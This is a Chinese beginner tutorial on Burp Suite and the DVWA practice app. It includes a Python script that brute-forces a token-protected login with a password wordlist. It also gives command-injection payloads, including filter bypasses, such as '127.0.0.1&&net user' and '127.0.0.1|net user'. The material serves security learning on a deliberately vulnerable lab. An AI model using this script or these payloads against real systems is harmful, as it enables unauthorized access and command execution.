功能介绍
burpsuit是一个用来抓包、改包、**密码的工具。
环境
Burpsuite 版本:1.7
浏览器:火狐
抓取第一个包
1.firefox代理设置(burpsuite默认为127.0.0.1:8080,所以为了方便这里也用)
2.firefox的证书设置
url栏输入 http://burp,点击 CA Certificate 下载证书(放桌面就行)
导入证书
3.burpsuite的设置
然后就可以抓包了
注意抓包的时候浏览器打不开网页属于正常现象,如果需要继续浏览,点击“Intercept is on”或者“Forward”按钮即可。
Repeater板块
在proxy模块抓到包后,点击Action按钮,选择 Send to Repeater
转到Repeater板块,点击go按钮,在Response区域内,可以看到服务器返回的信息
Intruder板块
同上,Action按钮 --> Send to Intruder ,转到 Intruder 板块。来到 Positions 子版块,看到有许多绿色背景文本,点击右侧 Clear 按钮 清除变量,并选中你想要的内容点击 Add 按钮来添加变量。
然后来到 payload 子页面,进行以下设置:(payload set :字典ID)
最后点击 Start attack 按钮
配置DVWA
介绍:其实就是一个供我们练习用的虚拟环境
首先安装XAMPP:https://www.apachefriends.org/zh_cn/index.html
安装完了以后在Apache及MySQL选择行中点击start便可创建虚拟环境:
但是我发现我的Apache是运行不起来的…别的也不多说了,直接上解决办法:
先点右上角Config按钮出现下图——
再点Service and Port Settings ,设置 端口号为8088/4431(原来是80/443)
点击Apache 后面的config按钮,依次修改两个配置文件
重启XAMPP,成功。
然后开始搞DVWA,先从官网下载.zip文件:http://www.dvwa.co.uk/
将文件解压至XAMPP目录下的htdocs文件夹中
打开子路径‘config’文件夹,将原来的文件改为config.ini.php(打开方式-记事本-另存为-所有文件)
回到XAMPP,点击“Apache”或“Mysql”的Admin按钮,打开网页。在后面追加以下内容,就可以打开DVWA的主页了:
一开始它提示我除了两个错误(第一个错误我没有解决,但是没有影响),可以参考这篇文章对文件进行修改:https://blog.csdn.net/wst0717/article/details/79623750
点击DVWA主页下面的 Create / Reset Database 按钮,就可以登陆了。默认的登录名和密码有很多,我在这里罗列出来:
输入账号密码后,成功登录系统:
注意,火狐的代理默认是localhost 、 127.0.0.1 不是用代理,需要把这里的内容删除:
DVWA·Brute Force 板块 - low
打开brute force 板块 , 随便填写账号、密码,点击Login按钮:
在 burpsuit 里抓到的包是这样的:
点击Action 按钮 ,转到 intruder 板块,设置账号、密码 为 扫面对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)
点击 start attack 按钮 ,等待扫描完成。可以看到这一条的相应长度(length)比较特殊,我们记录下来,等下去 DVWA 验证。
成功通过!
DVWA·Brute Force 板块 - medium
首先先把 ‘Security Level’ 从 low 修改为 meddle。打开XAMPP的安装路径,打开 config.inc.php
把 default_security_level 修改为 meddle , 然后清空浏览器缓存,重新打开DVWA主页
修改成功。
其实 middle 也可以进行密码**,这里就 pass 了。
DVWA·Brute Force 板块 - high
首先,用上面的方法把难度修改为 high
然后老样子,抓一个包,此时看到4个参数:
因为加入了token(令牌)校验,所以 burpsuit 就不能**了 , 推荐使用 python 编写脚本来实时的获取 token 的值,代码如下(来自网络):
from bs4 import BeautifulSoup
import urllib2
header={
'Host': '192.168.153.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"? username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
剩下的 impossible 等级就不说了,不适合新手入门。
DVWA·Command Injection 板块 - low
打开 Command Injection 板块 , 输入 127.0.0.1 出现以下结果:
输入 net user 出现以下结果:
输入 127.0.0.1&&net user 出现以下结果:(暴露了本机用户名等敏感信息)
DVWA·Command Injection 板块 - medium
medium 等级加入了对”&&”与” ;” 的过滤(变成空字符),但是好在“&”没有过滤,所以我们使用以下语句:127.0.0.1&;&ipconfig (过滤后为:127.0.0.1&&ipconfig )
输入 127.0.0.1
输入 ipconfig
输入 127.0.0.1&&ipconfig
输入 127.0.0.1&;&ipconfig
DVWA·Command Injection 板块 - high
过滤了& ; |空格 - $ ( ) ` ||
因为| 后有一个空格,所以可以使用 127.0.0.1|net user (其中|的意思是把127.0.0.1输出作为net user的输入)